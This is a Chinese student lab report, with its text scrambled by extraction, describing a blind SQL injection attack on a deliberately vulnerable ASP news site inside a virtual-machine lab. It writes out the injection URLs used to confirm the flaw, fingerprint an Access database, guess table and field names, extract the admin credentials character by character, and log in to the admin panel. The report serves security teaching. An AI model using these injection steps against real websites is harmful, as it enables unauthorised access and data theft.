1、SQL注入攻击实验报告剖析 实验报告 (实验名称 :SQL注入攻击) 一、实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。 二、实验环境 描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。 宿主机(客户机):操作系统为Windows 10,IP为192.168.18.11,在主机上安装虚拟化软件 Vmware Player,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信, 虚拟机(Web服务器):操作系统为Windows XP,IP为192.1
2、68.18.9, 本实验利用 windows 的 iis 服务搭建了一个有 SQL 注入漏洞的网站“ASP 新闻发 布系统”,以该网站为目标,对其实施 SQL 注入攻击。 本实验所需工具如下: IIS 是 Internet Information Server 的缩写,是微软提供的 Internet 服务器软 件,包括 Web、FTP、Mail 等服务器,也是目前常用的服务器软件。版本不限。 “啊 D”注入工具:对“MSSQL 显错模式”、“MSSQL 不显错模式”、“Access”等数 据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、 “目录查看”等等于一身的
3、注入工具包。 “ASP 新闻发布系统”Ok3w v4.6 源码。 三、实验内容 (一)配置实验环境, 首先选择网络适配器,安装环回适配器,在主机上安装Vmware Player,成功启动虚拟机。接着配置宿主机和虚拟机的IP,如图 要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge - 1 - 然后,验证宿主机和虚拟机是否联通,结果显示连接成功。 程序,打开浏览器,输入地址“127.0.0.1”,检查网IIS最后在虚拟机上安装站搭建情况。- 2 - 成功! (二)寻找注入点 在宿主机上,打开网页http:/192.168.18.9/list.asp?id=95,可以正
4、常打开页面。 进行注入测试,键入 http:/192.168.18.9/list.asp?id=95 and 1=1,返回页面不变。 - 3 - http:/192.168.18.9/list.asp?id=95 and 1=2,返回页面出错。键入 因此,可确定该网站存在注入点。 (三)判断数据库类型 用系统表的方法进行判断,分别键入from (select and http:/192.168.18.9/list.asp?id=95 count(*) sysobjects)0 from http:/192.168.18.9/list.asp?id=95 (select and count(*)
5、 msysobjects)0 - 4 - 两者返回均出错,可知是 access 数据库。- 5 - (四)猜测表名 admin 中,我们先试一下,键入:一般网站后台的管理员都默认在表http:/192.168.18.9/list.asp?id=95 and (select count(*) from admin)0 的表。返回页面正常,可知该网站后台数据库中存在着表名为 admin 分别记但一般都有三个字段,(五)猜测字段名不同公司网站有不同的字段名, username,password。,录 ID 号、用户名和密码,常用的字段名为:idfrom and (select count(id) 键
6、分别入 http:/192.168.18.9/list.asp?id=95 admin)0 from (select count(username) http:/192.168.18.9/list.asp?id=95 and admin)0 from count(password) and http:/192.168.18.9/list.asp?id=95 (select admin)0 password。username admin 三者返回均正常。 可知,表中存在的三个字段:id, ”的截图损坏,但是返回正常,望教员通融。注:“username (六)猜测管理员用户名和密码 http:/1
7、92.168.18.9/list.asp?id=95 中有几条记录,键入确定表1. admin and (select count(*) from admin)=1 返回页面正常。- 6 - admin 只有一条记录。可知,表 http:/192.168.18.9/list.asp?id=95 and (select 2.猜测用户名长度,键入 续键入继回len(username) from admin)=1 返出错,http:/192.168.18.9/list.asp?id=95 and (select len(username) from admin)=2 3/4/5 ,试续,出返回错继测
8、 - 7 - 5。直到返回页面正确。测试到 5 的时候,返回正常。可知,用户名长度为 位,用二分法,键入猜测用户名内容,采用 ASCII 码分析法先猜测第1 3.http:/192.168.18.9/list.asp?id=95 and (select count(*) from admin where (asc(mid(username,1,1)between 30 and 125)0 返回正确,进一步缩小范围 。,between 70 and 100 between 85 and 100 ,between 90 and 100=97 。 a可知第一个字符为 依此类推,猜测之后的每一位字符,
9、- 8 - 最后得到用户名为 admin。 (select http:/192.168.18.9/list.asp?id=95 :同码测4.猜密,理 and len(password) from admin)=6 - 9 - 位。所以密码为6 - 10 - - 11 - 。 6 最终得到密码为位:123456 D”软件,点击进入“管理入口检测”选 (七)寻找到后台管理窗口 打开“啊 项,点击“检测管理入口”,进行检测, 如图:打开检测到的各网址,测试是否为管理入口。为管理入口,如图: http:/192.168.18.9/admin/index.asp 可知 (八)登陆后台 找到后台管理窗口,
10、http:/192.168.18.9/admin/ad_login.asp,用刚刚得到的用户 名和密码登陆,后台登陆成功。 - 12 - 四、实验结果及分析 SQL注入攻击过程。 1) 判断Web环境是否可以SQL注入。如果URL仅是对网页的访问,不存在SQL注入问题,如: http:/192.168.18.9/list.asp?id=95,其中?id95表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁。 2) 寻找SQL注入点。完成上一步的片断后,就要寻找可利用的注入漏洞,通过输入一 些特殊语句,可以根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点
11、。 3) 猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。通过构建特 殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。这个过程可以通过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。 4) 寻找WEB管理后台入口。通常WEB后台管理的界面不面向普通用户开放,要寻找 到后台的登陆路径,可以利用扫描工具快速搜索到可能的登陆地址,依次进行尝试,就可以试出管理台的入口地址。 5) 入侵和破坏。成功登陆后台管理后,接下来就可以任意进行破坏行为,如篡改网页、 上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。 实验心得: 在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题,而且从整个实验的过程来讲也涉及到了很多软件的配合使用。 在整个实验中遇到的最大问题就是,宿主机和虚拟机此前一直连不通,通过宿主机ping虚拟机,一直无法连接。直到最后我把虚拟机的防火墙关闭了,宿主机才能访问虚拟机上发布的网页。可见,防火墙还是有一定作用的,但是对于网站来说开通- 13 - 了防火墙就没办法访问网页了。 - 14 -
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1